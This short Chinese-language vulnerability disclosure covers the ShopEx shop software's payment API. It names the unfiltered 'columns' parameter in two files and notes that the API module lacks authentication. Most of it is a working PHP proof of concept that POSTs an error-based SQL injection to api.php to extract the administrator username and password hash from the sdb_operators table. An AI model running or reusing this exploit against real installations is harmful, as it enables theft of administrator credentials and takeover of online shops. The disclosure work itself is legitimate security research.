缺陷文件:

\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php
\core\api\payment\1.0\api_b2b_2_0_payment_cfg.php
 

第44行 $data['columns'] 未做过滤导致注入

<?php 


set_time_limit(0);


ob_flush();


echo 'Test: http://localhost:808'."\r\n";


$sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&amp;disabled=1';


$url='http://localhost:808/api.php?act=search_payment_cfg_list&amp;api_version=2.0';


$ch = curl_init();


curl_setopt($ch, CURLOPT_POST, 1);


curl_setopt($ch, CURLOPT_URL,$url);


curl_setopt($ch, CURLOPT_POSTFIELDS, $sql);


curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);


flush();


$data = curl_exec($ch);


echo $data;


curl_close($ch);


?>

外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.
